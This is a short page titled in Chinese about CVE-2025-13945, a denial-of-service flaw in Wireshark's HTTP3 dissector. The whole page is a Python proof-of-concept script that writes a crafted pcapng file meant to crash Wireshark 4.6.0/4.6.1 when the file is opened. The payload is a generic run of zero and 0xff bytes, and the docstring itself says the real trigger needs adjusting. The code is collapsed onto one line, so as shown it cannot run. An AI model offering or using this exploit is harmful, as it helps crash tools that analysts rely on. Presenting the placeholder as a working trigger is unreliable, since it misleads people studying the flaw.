CVE-2025-13945 Wireshark HTTP3 dissector拒绝服务漏洞

#!/usr/bin/env python3 # CVE-2025-13945 PoC - Malformed HTTP3 packet causing Wireshark crash # This PoC generates a pcapng file with a crafted HTTP3 packet import struct from scapy.all import IP, UDP, Raw, wrpcapng def create_cve_2025_13945_poc(): """ Generate a malicious pcapng file that triggers HTTP3 dissector crash in Wireshark 4.6.0/4.6.1 This PoC creates a packet with malformed HTTP3 frame data that causes the HTTP3 dissector to crash when Wireshark attempts to parse it. Note: The actual trigger requires specific malformed HTTP3 data patterns. Adjust the payload based on the specific vulnerability trigger condition. """ print("[*] Generating CVE-2025-13945 PoC...") # Create IP packet with UDP payload (QUIC uses UDP) ip_packet = IP(src="127.0.0.1", dst="127.0.0.1") # UDP header (QUIC typically uses port 443) udp_packet = UDP(sport=12345, dport=443) # Malformed HTTP3/QUIC payload # This triggers the HTTP3 dissector vulnerability malformed_payload = b'\x00' * 50 + b'\xff\xff\xff\xff' + b'\x00' * 100 # Construct the complete packet malicious_packet = ip_packet / udp_packet / Raw(load=malformed_payload) # Save as pcapng file output_file = "CVE-2025-13945.pcapng" wrpcapng(output_file, [malicious_packet]) print(f"[+] PoC file created: {output_file}") print("[+] To trigger: Open this file in Wireshark 4.6.0 or 4.6.1") print("[+] Expected result: Wireshark HTTP3 dissector crash") if __name__ == "__main__": try: from scapy.all import wrpcapng create_cve_2025_13945_poc() except ImportError: print("[-] Error: scapy library required. Install with: pip install scapy") print("\n[*] Alternative: Create pcapng manually using tcpdump or other tools")